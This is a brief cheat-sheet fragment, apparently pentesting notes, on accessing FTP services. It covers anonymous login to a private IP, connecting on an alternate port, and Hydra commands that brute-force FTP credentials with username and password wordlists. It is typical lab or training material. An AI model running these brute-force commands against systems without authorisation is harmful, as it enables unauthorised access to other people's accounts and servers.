With no creds:

  • ftp anonymous@192.168.100.101

To an alternate port:

  • ftp $user@$IP $port

Hydra

With a username: hydra -L usernames.txt -P passwords.txt 192.168.100.101 ftp

  • hydra -l $user -P passwords.txt 192.168.100.101 ftp

With a password:

  • hydra -L usernames.txt -p $password 192.168.100.101 ftp